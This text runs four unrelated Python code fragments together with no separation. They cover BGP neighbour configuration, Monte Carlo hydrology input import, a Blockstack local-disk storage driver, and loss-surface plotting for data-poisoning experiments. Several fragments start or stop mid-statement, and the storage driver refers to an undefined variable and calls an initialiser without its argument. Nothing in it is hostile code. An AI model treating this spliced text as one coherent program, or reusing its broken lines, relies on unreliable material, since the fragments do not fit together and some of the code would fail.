'address-family {} unicast'.format(addr_family) commands.append(my_cmd) my_cmd = '{} activate'.format(config_cmd) commands.append(my_cmd) commands.append("exit") if addr_family == "ipv6": my_cmd = 'address-family ipv4 unicast' commands.append(my_cmd) my_cmd = '{} activate'.format(config_cmd) commands.append(my_cmd) commands.append("exit") config_default_activate = False # Avoid disable of neighbor unless config=no and config_type_list contains activate elif activate and config_cmd == "no": my_cmd = 'address-family {} unicast'.format(addr_family) commands.append(my_cmd) my_cmd = '{} activate'.format(config_cmd) commands.append(my_cmd) commands.append("exit") activate = None if shutdown: my_cmd = '{} shutdown'.format(config_cmd) commands.append(my_cmd) shutdown = None elif route_map: my_cmd = 'address-family {} unicast'.format(addr_family) commands.append(my_cmd) my_cmd = '{} route-map {} {}'.format(config_cmd, routeMap, diRection) commands.append(my_cmd) commands.append("exit") route_map = False elif filter_list: my_cmd = 'address-family {} unicast'.format(addr_family) commands.append(my_cmd) my_cmd = '{} filter-list {} {}'.format(config_cmd, filter_list, diRection) commands.append(my_cmd) commands.append("exit") filter_list = None elif prefix_list: my_cmd = 'address-family {} unicast'.format(addr_family) commands.append(my_cmd) my_cmd = '{} prefix-list {} {}\n'.format(config_cmd, prefix_list, diRection) commands.append(my_cmd) commands.append("exit") prefix_list = None elif distribute_list: my_cmd = 'address-family {} unicast'.format(addr_family) commands.append(my_cmd) my_cmd = '{} prefix-list {} {}\n'.format(config_cmd, distribute_list, diRection) commands.append(my_cmd) commands.append("exit") distribute_list = None elif default_originate: my_cmd = 'address-family {} unicast'.format(addr_family) commands.append(my_cmd) if 'routeMap' in kwargs: my_cmd = '{} default-originate route-map {}'.format(config_cmd, routeMap) else: my_cmd = '{} default-originate'.format(config_cmd) commands.append(my_cmd) commands.append("exit") default_originate = False elif removePrivateAs: my_cmd = 'address-family {} unicast'.format(addr_family) commands.append(my_cmd) my_cmd = '{} remove-private-AS'.format(config_cmd) commands.append(my_cmd) commands.append("exit") removePrivateAs = False elif weight: my_cmd = 'address-family {} unicast'.format(addr_family) commands.append(my_cmd) my_cmd
externally created or using Load_Input_File() function in this module. :return: var_sub_list, element_export_list, export_data 1. var_sub_list = list of state variables to be exported for elements in element_export_list. Default=None if user has no preferences, meaning later it will include all state variables for corresponding element 2. element_export_list= list of system elements for which data should be exported for variables in var_sub_list. Default = None if user has no preferences, meaning later it will include all system elements. 3. export_data = 'Yes' or "No'. Default = 'Yes'. ''' var_sub_list = None # Default is NoneType. If not reset below, all variables will be exported. element_export_list = None # Default is NoneType. If not reset below, all elements will be exported. export_data = 'Yes' # Default is to export data for all system elements and relevant time series variables. if 'Export Preferences' in Input_Data_File.sheetnames: if Input_Data_File['Export Preferences']['B1'].value in ['No', 'no']: export_data = 'No' else: export_data = 'Yes' # Default is to export simulation output. var_sub_list = Input_Data_File['Export Preferences']['B3'].value if var_sub_list is not None: var_sub_list = Input_Data_File['Export Preferences']['B3'].value.split(', ') # Read in values else: pass # User did not specify locations to export, so export all variables for location. element_export_list = Input_Data_File['Export Preferences']['B2'].value if element_export_list is not None: element_export_list = Input_Data_File['Export Preferences']['B2'].value.split(', ') # Read in values else: pass # User did not specify locations to export, so export all variables for location. else: pass # All variables for export elements will be exported. return var_sub_list, element_export_list, export_data def Monte_Carlo_Import(main_input_files_dir, Col_Names, element_stochastic_components, Element_List, external_mc_data, Monte_Carlo_Parameters_File_Name, simulation_dates, simulation_dates_no_leap, Num_Realizations, Sampled_Parameter_Dict, Synthetic_Inflow_dataframe_name_LIST, Synthetic_Inflows_dictionary, start_stop = None, parallelize_import = None): # Purpose: To import user's monte carlo preferences from an input .xlsx sheet (e.g., "Monte_Carlo_Input_File.xlsx"). # Inputs: # (2) main_input_files_dir (Specified by user) # (3) Col_Names (Created automatically in Import_Simulation_Preferences(), Stores list of state var names for each object instance). # (4) System_Object_List (same as SystemObjects["Ordered Simulation List"] created from System_Element_Creation()) # (5) element_stochastic_components is both an input and an output. It gets modified here and dumped out. # Outputs: # (1) Parameter_Input_Dictionary # (2) element_stochastic_components # Define input parameters if Monte Carlo Simulation is to be done. Only create once before main simulation loop. # See parameter_sampling_monte_carlo.py for parameter listing and dictionary formatting requirements. os_fold_op = Op_Sys_Folder_Operator() # Establish leap year preferences leap_year_included = 0 # Options are 0 or 1 if leap_year_included == 0: sim_dates = simulation_dates_no_leap else: sim_dates = simulation_dates # Define input parameters for stochastic simulation Parameter_Input_Dictionary = {} # Define dictionary # Locate Monte-Carlo input file, if user wishes to generate own monte carlo values. if external_mc_data == 0: # User needs to generate MC parameter values. Import relevant preferences from Monte_Carlo_Inputs.xls Monte_Carlo_Specs_File = load_workbook(filename=main_input_files_dir + os_fold_op + Monte_Carlo_Parameters_File_Name, read_only = False, data_only=True) import_cols_dict = {'1': 2, '2': 1, '3': 4, '4': 3, '5': 3, '6': 'N/A', '7': 3, '8': 3, '9': 'N/A', '10': 3, '11': 3, '12': 3, '13': 3, '14': 3} for locations in Element_List: # Determine what sheets to import data from for each element in 'Master' worksheet. Read in a string of sheet names, # and convert that to a list. If value is None, then the system element will not have information in any sheets. element_stochastic_components[locations] = Excel_Data_Import(locations, Monte_Carlo_Specs_File, 'Master', 1, 1, max_distinct_data_types=None, data_name_offset=None) Parameter_Input_Dictionary[locations] = {} # Initialize nested sub-dict for each location. if element_stochastic_components[locations][0] is not None: if type(element_stochastic_components[locations][0]) in [str, unicode]: # User has specified a list of numbers, which will be imported as one long string with commas element_stochastic_components[locations] = element_stochastic_components[locations][0].split(', ') else: # User specified only only one sheet number, which will be imported as a single number (long type) element_stochastic_components[locations] = [str(element_stochastic_components[locations][0])] elif element_stochastic_components[locations][0] is None: element_stochastic_components[locations] = [] # Loop through all system elements and store monte carlo parameter preferences so they can be generated. for locs in Element_List: for sheet in element_stochastic_components[locs]: Parameter_Input_Dictionary[locs][sheet] = {'Params': Excel_Data_Import(locs, Monte_Carlo_Specs_File, sheet, 1, import_cols_dict[sheet], max_distinct_data_types=None, data_name_offset=None)} else: for locs in Element_List: Parameter_Input_Dictionary[locs] = {} # For stochastically generated incremental flows and sediment loads, loop through input file directory to see if any workbooks are # the same name as system junctions, in which case store those names and flow values. Synthetic_Inflow_Locations_List = [] for locations in Element_List: file_stored = 0 # Binary, whether or not file specified for inflows for junction file_path_test = main_input_files_dir + os_fold_op try: if Parameter_Input_Dictionary[locations]['1']['Params'][0] is not None: file_stored = 1 file_path = file_path_test + Parameter_Input_Dictionary[locations]['1']['Params'][0] # use specified # input file name Synthetic_Inflow_Locations_List.append(locations) # e.g., "Junction 1" else: file_stored = 1 file_path = file_path_test + locations + "_Flow.csv" Synthetic_Inflow_Locations_List.append(locations) # e.g., "Junction 1" except KeyError: # Default file name for flows is location_Flow.csv, where "location" is name of junction. file_path_test += locations + "_Flow.csv" if os.path.isfile(file_path_test): file_path = file_path_test file_stored = 1 Synthetic_Inflow_Locations_List.append(locations) # e.g., "Junction 1" # Read in any preferences regarding inclusion of leap years try: if Parameter_Input_Dictionary[locations]['1']['Params'][1] is not None: if Parameter_Input_Dictionary[locations]['1']['Params'][1] in ['Y', 'y', 'Yes', 'yes']: leap_year_included = 1 else: leap_year_included = 0 else: leap_year_included = 0 # Default except KeyError: leap_year_included = 0 if leap_year_included == 0: sim_dates = simulation_dates_no_leap else: sim_dates = simulation_dates # Store preferences for this location if file_stored == 1: try: Parameter_Input_Dictionary[locations]['1'] except KeyError: Parameter_Input_Dictionary[locations]['1'] = {} Parameter_Input_Dictionary[locations]['1']['Preferences'] = { 'File Path': file_path, 'Locations': [locations], 'File Type': 'csv', 'Leap Year Included': leap_year_included, 'Date Range': simulation_dates, 'Column Names': Col_Names} # Synthetic_Inflow_Locations_List # Call Monte Carlo parameter sampling function. Only need to do once if simulating on one computer. Must be done after # network connectivity has been defined. # Get leap year preferneces, as they may have been inadvertently overwritten for locations without incremental # flows. for locations in Element_List: try: if Parameter_Input_Dictionary[locations]['1']['Preferences']['Leap Year Included'] == 0: sim_dates = simulation_dates_no_leap else: sim_dates = simulation_dates break # Found value, now exit, having stored preferences. except KeyError: pass if len(Synthetic_Inflow_Locations_List) > 0: [Sampled_Parameter_Dict, Synthetic_Inflow_dataframe_name_LIST, Synthetic_Inflows_dictionary] = Parameter_Sampling_Monte_Carlo( Num_Realizations, Parameter_Input_Dictionary, start_stop=start_stop, simulation_dates=sim_dates, parallelize_import=parallelize_import) else: Sampled_Parameter_Dict = Parameter_Sampling_Monte_Carlo(Num_Realizations, Parameter_Input_Dictionary, start_stop=start_stop, simulation_dates=sim_dates) return Parameter_Input_Dictionary, element_stochastic_components, Sampled_Parameter_Dict, Synthetic_Inflow_dataframe_name_LIST, \ Synthetic_Inflows_dictionary def Parameter_Sampling_Monte_Carlo(Num_Realizations, Parameter_Input_Dictionary, start_stop=None, simulation_dates=None, parallelize_import = None): ''' Purpose: This function is designed to receive parameter input ranges and distributions, and will return sampled parameter sets to run in a Monte-Carlo Simulation mode. Inputs: :param Num_Realizations: Number of simulations to be run, each with a different set of parameters/forcings :param simulation_dates: a pandas date_range object that will serve as a dataframe index for the time series data. # (5) Sample Format: Parameter_Input_Dictionary['5'] = ['triangular', 50, 80, 100] :param Parameter_Input_Dictionary: indicating which parameters will be sampled, where parameters are given by the numbers below. # WARNINGS: # 1. Users are recommended to use save any .xls or .xlsx files as .csv files. # 2. For a csv file you MUST include at least one column heading (e.g., realization1). This will allow the dataframe to be interpreted properly and columns/indices set. # 3. Use a .xlsx file if you need to import synthetic flows as a dictionary from more than one location. # 4. If you use .csv, you can't parse columns, which means you need to specify a number of realizations in the input file that is equal to the number of equivalent columns contained in the CSV file. So you can't pluck 3 cols from the 500 realizations in a csv file. # Numbers for different parameters that can be sampled: # Note: Parameter Dictionary Keys may be any of the following numbers, which correspond to different inputs # 1. Hydrologic Inflows # 2. Sediment Load Inflows: mean = provide (a,b) if they are not going to be randomly sampled; variance = v; distribution from which to sample noise # 3. Annual Sediment Load: ASL # 4. Rating curve exponent: a # 5. Rating curve coefficient: b # 6. Trapping Efficiency Parameters: m, a, b, c, d
<reponame>ZeroHarbor/blockstack-storage-drivers #!/usr/bin/env python # -*- coding: utf-8 -*- """ The MIT License (MIT) Copyright (c) 2014-2015 by Halfmoon Labs, Inc. Copyright (c) 2016 by Blocktatck.org Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. """ # This module lets the blockstack client treat local disk as a storage provider. # This is useful for doing local testing. import os import sys import traceback import logging from common import get_logger, DEBUG log = get_logger("blockstack-storage-driver-disk") if os.environ.get("BLOCKSTACK_TEST", None) is not None: DISK_ROOT = "/tmp/blockstack-disk" else: DISK_ROOT = os.path.expanduser("~/.blockstack/storage-disk") IMMUTABLE_STORAGE_ROOT = DISK_ROOT + "/immutable" MUTABLE_STORAGE_ROOT = DISK_ROOT + "/mutable" log.setLevel( logging.DEBUG if DEBUG else logging.INFO ) def storage_init(conf): """ Local disk implementation of the storage_init API call. Do one-time global setup--i.e. make directories. Return True on success Return False on error """ global DISK_ROOT, MUTABLE_STORAGE_ROOT, IMMUTABLE_STORAGE_ROOT if not os.path.isdir( DISK_ROOT ): os.makedirs( DISK_ROOT ) if not os.path.isdir( MUTABLE_STORAGE_ROOT ): os.makedirs( MUTABLE_STORAGE_ROOT ) if not os.path.isdir( IMMUTABLE_STORAGE_ROOT ): os.makedirs( IMMUTABLE_STORAGE_ROOT ) return True def handles_url( url ): """ Does this storage driver handle this kind of URL? """ return url.startswith("file://") def make_mutable_url( data_id ): """ Local disk implementation of the make_mutable_url API call. Given the ID of the data, generate a URL that can be used to route reads and writes to the data. Return a string. """ global MUTABLE_STORAGE_ROOT # replace all /'s with \x2f's data_id_noslash = data_id.replace( "/", r"\x2f" ) return "file://%s/%s" % (MUTABLE_STORAGE_ROOT, data_id_noslash) def get_immutable_handler( key, **kw ): """ Local disk implementation of the get_immutable_handler API call. Given the hash of the data, return the data. Return None if not found. """ global IMMUTABLE_STORAGE_ROOT data = None path = os.path.join( IMMUTABLE_STORAGE_ROOT, key ) if not os.path.exists(path): if DEBUG: log.debug("No such file or directory: '%s'" % path) return None try: with open( path, "r" ) as f: data = f.read() return data except Exception, e: if DEBUG: traceback.print_exc() return None def get_mutable_handler( url, **kw ): """ Local disk implementation of the get_mutable_handler API call. Given a route URL to data, return the data itself. Return the data if found. Return None if not. """ if not url.startswith( "file://" ): # invalid return None # get path from URL path = url[ len("file://"): ] if not os.path.exists(path): if DEBUG: log.debug("No such file or directory: '%s'" % path) return None try: with open( path, "r" ) as f: data = f.read() return data except Exception, e: if DEBUG: traceback.print_exc() return None def put_immutable_handler( key, data, txid, **kw ): """ Local disk implmentation of the put_immutable_handler API call. Given the hash of the data (key), the serialized data itself, and the transaction ID in the blockchain that contains the data's hash, put the data into the storage system. Return True on success; False on failure. """ global IMMUTABLE_STORAGE_ROOT, DEBUG path = os.path.join( IMMUTABLE_STORAGE_ROOT, key ) pathdir = os.path.dirname(path) if not os.path.exists(pathdir): try: os.makedirs(path_dir, 0700) except Exception, e: if DEBUG: log.exception(e) return False try: with open( path, "w") as f: f.write( data ) f.flush() if DEBUG: log.debug("Stored to '%s'" % path) except Exception, e: if DEBUG: traceback.print_exc() return False return True def put_mutable_handler( data_id, data_bin, **kw ): """ Local disk implementation of the put_mutable_handler API call. Return True on success; False on failure. """ global MUTABLE_STORAGE_ROOT, DEBUG # replace all /'s with \x2f's data_id_noslash = data_id.replace( "/", r"\x2f" ) path = os.path.join( MUTABLE_STORAGE_ROOT, data_id_noslash ) pathdir = os.path.dirname(path) if not os.path.exists(pathdir): try: os.makedirs(path_dir, 0700) except Exception, e: if DEBUG: log.exception(e) return False try: with open( path, "w" ) as f: f.write( data_bin ) f.flush() if DEBUG: log.debug("Stored to '%s'" % path) except Exception, e: if DEBUG: log.exception(e) return False return True def delete_immutable_handler( key, txid, sig_key_txid, **kw ): """ Local disk implementation of the delete_immutable_handler API call. Given the hash of the data and transaction ID of the update that deleted the data, remove data from storage. Return True on success; False if not. """ global IMMUTABLE_STORAGE_ROOT path = os.path.join( IMMUTABLE_STORAGE_ROOT, key ) try: os.unlink( path ) except Exception, e: pass return True def delete_mutable_handler( data_id, signature, **kw ): """ Local disk implementation of the delete_mutable_handler API call. Given the unchanging data ID for the data and the writer's signature over the hash of the data_id, remove data from storage. Return True on success; False if not. """ global MUTABLE_STORAGE_ROOT data_id_noslash = data_id.replace( "/", r"\x2f" ) path = os.path.join( MUTABLE_STORAGE_ROOT, data_id_noslash ) try: os.unlink( path ) except Exception, e: pass return True if __name__ == "__main__": """ Unit tests. """ import pybitcoin import json # hack around absolute paths current_dir = os.path.abspath(os.path.join( os.path.dirname(__file__), "..") ) sys.path.insert(0, current_dir) from storage import serialize_mutable_data, parse_mutable_data from user import make_mutable_data_zonefile pk = pybitcoin.BitcoinPrivateKey() data_privkey = pk.to_hex() data_pubkey = pk.public_key().to_hex() test_data = [ ["my_first_datum", "hello world", 1, "unused", None], ["/my/second/datum", "hello world 2", 2, "unused", None], ["user_profile", '{"name":{"formatted":"judecn"},"v":"2"}', 3, "unused", None], ["empty_string", "", 4, "unused", None], ] def hash_data( d ): return pybitcoin.hash.hex_hash160( d ) rc = storage_init() if not rc: raise Exception("Failed to initialize") # put_immutable_handler print "put_immutable_handler" for i in xrange(0, len(test_data)): d_id, d, n, s, url = test_data[i] rc = put_immutable_handler( hash_data( d ), d, "unused" ) if not rc: raise Exception("put_immutable_handler('%s') failed" % d) # put_mutable_handler print "put_mutable_handler" for i in xrange(0, len(test_data)): d_id, d, n, s, url = test_data[i] data_url = make_mutable_url( d_id ) data_zonefile = make_mutable_data_zonefile( d_id, n, [data_url] ) data_json = serialize_mutable_data( {"id": d_id, "nonce": n, "data": d}, data_privkey ) rc = put_mutable_handler( d_id, data_json ) if not rc: raise Exception("put_mutable_handler('%s', '%s') failed" % (d_id, d)) test_data[i][4] = data_url # get_immutable_handler print "get_immutable_handler" for i in xrange(0, len(test_data)): d_id, d, n, s, url = test_data[i] rd = get_immutable_handler( hash_data( d ) ) if rd != d: raise Exception("get_mutable_handler('%s'): '%s' != '%s'" % (hash_data(d), d, rd)) # get_mutable_handler print "get_mutable_handler" for i in xrange(0, len(test_data)): d_id, d, n, s, url = test_data[i] rd_json = get_mutable_handler( url ) rd = parse_mutable_data( rd_json, data_pubkey ) if rd is None: raise Exception("Failed to parse mutable data '%s'" % rd_json) if rd['id'] != d_id: raise Exception("Data ID mismatch: '%s' != '%s'" % (rd['id'], d_id)) if rd['nonce'] != n: raise Exception("Nonce mismatch: '%s' != '%s'" % (rd['nonce'], n)) if rd['data'] != d: raise Exception("Data mismatch: '%s' != '%s'" % (rd['data'], d)) # delete_immutable_handler print "delete_immutable_handler" for i in xrange(0, len(test_data)): d_id, d, n, s, url = test_data[i] rc = delete_immutable_handler( hash_data(d), "unused", "unused" ) if not rc: raise Exception("delete_immutable_handler('%s' (%s)) failed" % (hash_data(d), d)) # delete_mutable_handler print "delete_mutable_handler" for i in xrange(0, len(test_data)): d_id, d, n, s, url
import math import torch from torch import nn import matplotlib.pyplot as plt import numpy as np import os.path from matplotlib.lines import Line2D from mpl_toolkits.mplot3d import Axes3D import matplotlib.patches as patches import pandas as pd import seaborn as sns import gpytorch import copy import matplotlib as mpl import cmocean import cmocean.cm as cmo from matplotlib import colors import glob from criterion import PoisonedCriterion import sys sys.path.append("../simplex/") import utils import surfaces from matplotlib import ticker, cm import torch.nn.functional as F sys.path.append("../../simplex/models/") from vgg_noBN import VGG16, VGG16Simplex plt.rcParams.update({ "text.usetex": True, }) def compute_loss_surface(model, loader, v1, v2, proj_x, proj_y, loss, coeffs_t, n_pts=50, range_x = 10., range_y = 10.): start_pars = model.state_dict() vec_lenx = torch.cat([torch.linspace(-range_x.item(), 0, int(n_pts/2)), torch.linspace(0, range_x.item(), int(n_pts/2) + 1)[1:]], 0).to(proj_x.get_device()) vec_leny = torch.cat([torch.linspace(-range_y.item(), 0, int(n_pts/2)), torch.linspace(0, range_y.item(), int(n_pts/2) + 1)[1:]], 0).to(proj_x.get_device()) def replace(x, y, val): diff_x, diff_y = torch.abs(x - val[0]), torch.abs(y - val[1]) # idx [num] _, closest_x_idx = torch.min(diff_x, dim=0) _, closest_y_idx = torch.min(diff_y, dim=0) x[closest_x_idx] = val[0] y[closest_y_idx] = val[1] return x, y for i in range(proj_x.shape[0]): vec_lenx, vec_leny = replace(vec_lenx, vec_leny, (proj_x[i], proj_y[i])) #vec_leny = torch.linspace(-range_y.item(), range_y.item(), n_pts) ## init loss surface and the vector multipliers ## loss_surf = torch.zeros(n_pts, n_pts).cuda() correct = torch.zeros(n_pts, n_pts).cuda() softmax = nn.Softmax(dim = -1) criterion = PoisonedCriterion() with torch.no_grad(): ## loop and get loss at each point ## for ii in range(n_pts): for jj in range(n_pts): perturb = v1.mul(vec_lenx[ii]) + v2.mul(vec_leny[jj]) # print(perturb.shape) perturb = utils.unflatten_like(perturb.t(), model.parameters()) for i, par in enumerate(model.parameters()): par.data = par.data + perturb[i].to(par.device) num_dataset = 0 for i, (inputs, target) in enumerate(loader): if len(target.shape) != 1: inputs = inputs.cuda() target, poison_flag = target[:, 0], target[:, 1] target = target.cuda() poison_samples = (poison_flag == 1).cuda() clean_samples = (poison_flag == 0).cuda() inputs_var = torch.autograd.Variable(inputs) target_var = torch.autograd.Variable(target) output = model(inputs_var, coeffs_t) clean_loss, poison_loss = criterion(output, target_var, poison_flag) clean_pred = output[clean_samples].data.max(1, keepdim=True)[1] correct[ii, jj] += clean_pred.eq(target_var[clean_samples].data.view_as(clean_pred)).sum().item() loss_surf[ii, jj] += clean_loss num_dataset += clean_pred.shape[0] else: inputs = inputs.cuda() target = target.cuda() inputs_var = torch.autograd.Variable(inputs) target_var = torch.autograd.Variable(target) output = model(inputs_var, coeffs_t) logits = torch.log(softmax(output) + 1e-12) one_hot_y = F.one_hot(target_var.unsqueeze(0).to(torch.int64), num_classes=output.shape[-1]) clean_loss = - torch.mean(torch.sum(logits * one_hot_y, axis=-1)) pred = output.data.max(1, keepdim=True)[1] correct[ii, jj] += pred.eq(target_var.data.view_as(pred)).sum().item() num_dataset += output.shape[0] loss_surf[ii, jj] += clean_loss if i == 100: break #break correct[ii, jj] = correct[ii, jj] / num_dataset * 100 loss_surf[ii, jj] = loss_surf[ii, jj] / 100 print(f"correct {ii}, {jj}: {round(correct[ii, jj].item(), 4)}, loss {ii}, {jj}: {round(loss_surf[ii, jj].item(), 4)}") model.load_state_dict(start_pars) vec_lenx = vec_lenx.cpu() vec_leny = vec_leny.cpu() X, Y = np.meshgrid(vec_lenx, vec_leny) return X, Y, correct, loss_surf def surf_runner(simplex_model, architecture, anchor, base1, base2, loader, criterion, path, name): v1, v2 = surfaces.get_basis(simplex_model, anchor=anchor, base1=base1, base2=base2) par_vecs = simplex_model.simplex_param_vectors v1 = v1.to(par_vecs.device) v2 = v2.to(par_vecs.device) vec = (par_vecs[anchor, :] - par_vecs[base1, :]) base_model = architecture(simplex_model.n_output, **simplex_model.architecture_kwargs).cuda() center_pars = par_vecs[[anchor, base1, base2], :].mean(0).unsqueeze(0) #center_pars = par_vecs[:1] utils.assign_pars(center_pars, base_model) anchor_pars = torch.cat((par_vecs.shape[0] * [center_pars])) anchor_diffs = (par_vecs - anchor_pars) diff_v1_projs = anchor_diffs.matmul(v1) diff_v2_projs = anchor_diffs.matmul(v2) range_x = 1.5*(diff_v1_projs).abs().max()# + 1 range_y = 1.5*(diff_v2_projs).abs().max()# + #range_x = (diff_v1_projs).abs().max() + 1 #range_y = (diff_v2_projs).abs().max() +1 #range_ = 100* range_ X, Y, correct, surf = compute_loss_surface(base_model, loader, v1, v2, proj_x = diff_v1_projs, proj_y = diff_v2_projs, loss = criterion, coeffs_t = simplex_model.vertex_weights(), range_x = range_x, range_y = range_y, n_pts=20) np.savez(os.path.join(path, name +"_loss"), X=X, Y=Y, surf=surf.cpu().detach().numpy()) np.savez(os.path.join(path, name + "_correct"), X=X, Y=Y, correct = correct.cpu().detach().numpy()) """ files = np.load(os.path.join(path, name) + '.npz') X = files["X"] Y = files['Y'] surf = files['surf'] surf = torch.tensor(surf) """ X = torch.tensor(X) Y = torch.tensor(Y) return X, Y, correct, surf, diff_v1_projs, diff_v2_projs def cutter(surf, cutoff=1): cutoff_surf = surf.clone() cutoff_surf[cutoff_surf < cutoff] = cutoff return cutoff_surf.detach().cpu() def surf_plotter(model, X, Y, surf, x, y, anchor, base1, base2, ax, simplex, correct): """ contour_ = ax.contourf(X, Y, surf.cpu().t(), locator=ticker.LogLocator(), levels=50, cmap=cm.PuBu_r) """ #if correct: # surf = -surf contour_ = ax.contourf(X, Y, surf.cpu().t(), levels=50, cmap='RdYlBu_r') # fig.colorbar(contour_) keepers = [anchor, base1, base2] if simplex: all_labels = [r'$w_0$', r'$\theta_0$', r'$\theta_1$', r'$\theta_2$'] else: all_labels = [r'$w_0$', r'$w_1$', r'$w_2$', r'$w_3$', r'$\theta_0$', r'$\theta_1$', r'$\theta_2$'] labels = [all_labels[x] for x in keepers] #labels = [r'$w_{psn}$', r'$\theta_{van_1}$', r'$\theta_{van_2}$'] #labels = [r'$w_{psn}$', r'$\theta_{van_1}$', r'$\theta_{van_2}$'] x = x.detach().cpu() y = y.cpu().detach() colors=['black', "green", "magenta"] for color, keeper, label in zip(colors, keepers, labels): ax.scatter(x=x[keeper], y=y[keeper], color='black', s=15) ax.annotate(label, (x[keeper] + np.abs(0.1 * x[keeper]),y[keeper] + np.abs(0.1 * y[keeper]))) """ plt.scatter(x=x[anchor], y=y[anchor], color=['black'], marker = "o", s=10) plt.scatter(x=x[base1], y=y[base1], color=[color], marker = "^", s=10) plt.scatter(x=x[base2], y=y[base2], color=[color], marker = "*", s=10) plt.legend(legend) xoffsets = [-.85, .25, -.5] yoffsets = [-.75, .0, 0.25] total_verts = model.simplex_param_vectors.shape[0] labels = [r'$w_' + str(ii) + '$' for ii in range(total_verts)] for ii, pt in enumerate(keepers): ax.annotate(labels[pt], (x[pt]+xoffsets[ii], y[pt]+yoffsets[ii]), size=18, color=color) lw=1. for pt1 in keepers: for pt2 in keepers: ax.plot([x[pt1], x[pt2]], [y[pt1], y[pt2]], color=color, linewidth=lw) ax.set_xticks(ticks=[]) ax.set_yticks(ticks=[]) """ # plt.legend() return contour_ def plot(simplex_model, architechture, criterion, loader, path, plot_max, simplex = True, train = True, filename = None): legend = ["Mode", "Connecting point1", "Connecting point3"] if simplex: plot_order = np.array([[0, 1, 2], [0, 1, 3], [0, 2, 3], [1, 2, 3]]) else: plot_order = np.array([[0, 1, 4], [2, 3, 5], [0, 2, 6], [1, 3, 4]]) if train == 0: name = "train" else: name = "test" X012, Y012, correct012, surf012, x012, y012 = surf_runner(simplex_model, architechture, plot_order[0, 0], plot_order[0, 1], plot_order[0, 2], loader, criterion, path, f"{name}_eval_0" ) X013, Y013, correct013, surf013, x013, y013 = surf_runner(simplex_model, architechture, plot_order[1, 0], plot_order[1, 1], plot_order[1, 2], loader, criterion, path, f"{name}_eval_1" ) X023, Y023, correct023, surf023, x023, y023 = surf_runner(simplex_model, architechture, plot_order[2, 0], plot_order[2, 1], plot_order[2, 2], loader, criterion, path, f"{name}_eval_2" ) X123, Y123, correct123, surf123, x123, y123 = surf_runner(simplex_model, architechture, plot_order[3, 0], plot_order[3, 1], plot_order[3, 2], loader, criterion, path, f"{name}_eval_3" ) """ min_val = torch.min(surf012) if plot_max: max_val = torch.max(surf012) else: max_val = 4 * min_val if max_val.item() < 10: max_val = 10 min_val = 0 max_val = 100 cutoff012 = torch.clamp(surf012, min_val, max_val) cutoff013 = torch.clamp(surf013, min_val, max_val) cutoff023 = torch.clamp(surf023, min_val, max_val) cutoff123 = torch.clamp(surf123, min_val, max_val) """ for i in range(2): if i == 0: cutoff012 = surf012 cutoff013 = surf013 cutoff023 = surf023 cutoff123 = surf123 correct = False else: cutoff012 = correct012 cutoff013 = correct013 cutoff023 = correct023 cutoff123 = correct123 correct = True fig, ax = plt.subplots(2, 2, figsize=(8, 5), dpi=150) fig.subplots_adjust(wspace=0.05, hspace=0.05) contour_ = surf_plotter(simplex_model, X012, Y012, cutoff012, x012, y012, plot_order[0, 0], plot_order[0, 1], plot_order[0, 2], ax[0, 0], simplex, correct = correct) surf_plotter(simplex_model, X013, Y013, cutoff013, x013, y013, plot_order[1, 0], plot_order[1, 1], plot_order[1, 2], ax[0,1], simplex, correct = correct) surf_plotter(simplex_model, X023, Y023, cutoff023, x023, y023, plot_order[2, 0], plot_order[2, 1], plot_order[2, 2], ax[1,0], simplex, correct = correct) surf_plotter(simplex_model, X123, Y123, cutoff123, x123, y123, plot_order[3, 0], plot_order[3, 1], plot_order[3, 2], ax[1,1], simplex, correct = correct) bar = ax.ravel().tolist() """ if correct: for x in bar: print(x) exit() bar = [-x for x in bar] """ cbar = fig.colorbar(contour_, ax=bar) if train == 0: if i ==0: name = "Train Loss" new_name = filename + "loss.jpg" else: name = "Train Accuracy" new_name = filename + "accuracy.jpg" else: if i == 0: name = "Test Loss" new_name = filename + "loss.jpg" else: name = "Test Accuracy" new_name = filename + "accuracy.jpg" cbar.set_label(name, rotation=270, labelpad=15., fontsize=12) plt.savefig(new_name, bbox_inches='tight') plt.clf() def plot_volume(simplex_model, model_dir): model_path = os.path.join("./saved-outputs", model_dir) num_vertex = len(glob.glob(os.path.join(model_path, f"simplex_vertex*.pt"))) volume, x = [], [] for vv in range(1, num_vertex + 1): simplex_model.add_vert() simplex_model = simplex_model.cuda() simplex_path = os.path.join(model_path, f"simplex_vertex{vv}.pt") simplex_model.load_state_dict(torch.load(simplex_path)) volume.append(simplex_model.total_volume().item()) x.append(vv) print(volume) plt.plot(x, volume) plt.grid() plt.yscale('log') plt.xlabel("Number of Connecting Points") plt.ylabel("Simplicial Complex Volume") name = os.path.join(model_path, "./volume.jpg") plt.savefig(name) #return volume def compute_loss_path(model, par_vecs, loader, coeffs_t): start_pars = model.state_dict() num_interpolate = 10 num_vertex = par_vecs.shape[0] loss_path = torch.zeros((num_interpolate) * (num_vertex - 1)).cuda() correct_path = torch.zeros_like(loss_path) shuffle_vecs = torch.cat([par_vecs[:1], par_vecs[4:5], par_vecs[1:2], par_vecs[5:6], par_vecs[2:3], par_vecs[6:], par_vecs[3:4]], 0) criterion = PoisonedCriterion() with torch.no_grad(): ##
